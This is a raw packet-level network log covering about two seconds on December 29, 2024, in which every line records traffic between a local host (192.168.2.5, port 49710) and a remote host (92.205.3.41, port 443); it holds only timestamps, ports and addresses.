Dec 29, 2024 09:04:47.936600924 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.936674118 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.938827991 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.938894033 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.939965963 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.940030098 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.941421032 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.941487074 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.943583965 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.943648100 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.945034981 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.945091009 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.946552992 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.946616888 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.948003054 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.948066950 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.949451923 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.949532032 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.951700926 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.951766014 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.953136921 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.953207970 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.954564095 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.954633951 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.956087112 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.956155062 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.957978010 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.958045959 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.959536076 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.959619999 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:47.961020947 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:47.961086988 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.137792110 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.137897968 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.139014959 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.139091969 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.141213894 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.141285896 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.142606974 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.142678022 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.144153118 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.144218922 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.145574093 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.145639896 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.147052050 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.147113085 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.148567915 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.148633003 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.150719881 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.150789022 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.152196884 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.152264118 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.153637886 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.153712034 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.155133009 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.155198097 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.156598091 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.156666040 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.158751011 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.158828974 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.159985065 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.160058975 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.161468029 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.161534071 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.338409901 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.338604927 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.339864016 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.339941978 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.341583014 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.341656923 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.343115091 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.343185902 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.344655991 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.344722033 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.346038103 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.346101046 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.348186970 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.348248959 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.349643946 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.349718094 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.351213932 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.351281881 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.352686882 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.352749109 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.354156017 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.354228973 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.355618954 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.355688095 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.357755899 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.357822895 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.359256029 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.359330893 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.360495090 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.360560894 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.362623930 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.362687111 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.539607048 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.539694071 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.540474892 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.540545940 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.542479992 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.542548895 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.543725967 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.543796062 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.545238018 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.545303106 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.547410011 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.547467947 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.548857927 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.548921108 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.550298929 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.550363064 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.551795006 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.551863909 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.553277016 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.553349018 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.555404902 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.555468082 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.556858063 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.556930065 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.558403969 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.558475971 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.560336113 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.560404062 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.562640905 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.562707901 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.564327002 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.564393997 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.565675974 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.565746069 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.741980076 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.742189884 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.743417978 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.743505001 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.745138884 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.745208979 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.746720076 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.746789932 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.748148918 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.748209953 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.749699116 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.749768019 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.751046896 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.751142025 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.753192902 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.753274918 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.754676104 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.754743099 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.756263018 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.756331921 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.757625103 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.757684946 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.759124041 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.759185076 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.760572910 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.760637045 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.762706041 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.762792110 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.764055967 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.764142036 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.765438080 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.765506983 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.942645073 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.942826033 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.944081068 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.944176912 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.945962906 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.946039915 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.947343111 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.947411060 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.948803902 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.948870897 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.950269938 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.950341940 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.952405930 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.952478886 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.953933001 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.953999043 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.955568075 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.955634117 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.956860065 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.956931114 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.958359003 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.958425045 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.960454941 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.960515022 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.961966991 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.962033033 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.963496923 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.963562012 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.964698076 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.964762926 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:48.966809988 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:48.966876984 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.143496990 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.143599987 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.144536018 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.144807100 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.146362066 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.147670984 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.147830009 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.147900105 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.150046110 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.150105953 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.151405096 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.151473045 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.152947903 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.153009892 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.154443026 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.154517889 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.155890942 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.155973911 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.157517910 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.157582045 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.159471989 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.159538984 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.160929918 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.160993099 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.162460089 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.162523031 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.163953066 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.164019108 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.166003942 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.166079998 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.167349100 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.167414904 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.344791889 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.345016956 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.345814943 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.345911980 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.347424030 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.347501993 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.349189997 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.349271059 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.350534916 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.350605011 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.352082968 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.352159977 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.353547096 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.353615046 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.355026007 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.355099916 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.357180119 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.357244015 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.358701944 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.358776093 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.360157967 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.360222101 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.361630917 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.361699104 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.363071918 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.363138914 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.364540100 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.364603043 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.366514921 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.366580009 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.367949009 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.368020058 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.369622946 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.369688034 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.546317101 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.546504974 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.547900915 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.547977924 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.549598932 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.549666882 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.551281929 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.551347971 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.552454948 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.552519083 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.553930044 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.554001093 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.556054115 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.556123018 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.557586908 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.557655096 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.559073925 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.559140921 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.560565948 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.560631037 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.562021971 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.562089920 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.564114094 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.564177036 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.565602064 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.565668106 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.567169905 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.567248106 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.568298101 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.568361044 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.570452929 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.570517063 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.747473955 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.747556925 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.748456955 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.748537064 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.750269890 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.750336885 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.751601934 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.751671076 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.753887892 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.753954887 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.755240917 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.755309105 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.756787062 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.756860971 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.758256912 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.758316040 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.759716988 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.759785891 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.761837006 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.761914015 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.763303041 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.763376951 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.764843941 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.764914989 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.766285896 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.766341925 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.767776012 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.767858028 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.769633055 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.769691944 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.771178007 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.771254063 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.948612928 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.948803902 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.949599028 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.949667931 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.951189995 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.951267958 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.952909946 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.952979088 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.954286098 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.954355955 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.955739021 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.955815077 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.957201958 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.957271099 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:49.959367990 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:49.959433079 CET	49710	443	192.168.2.5	92.205.3.41
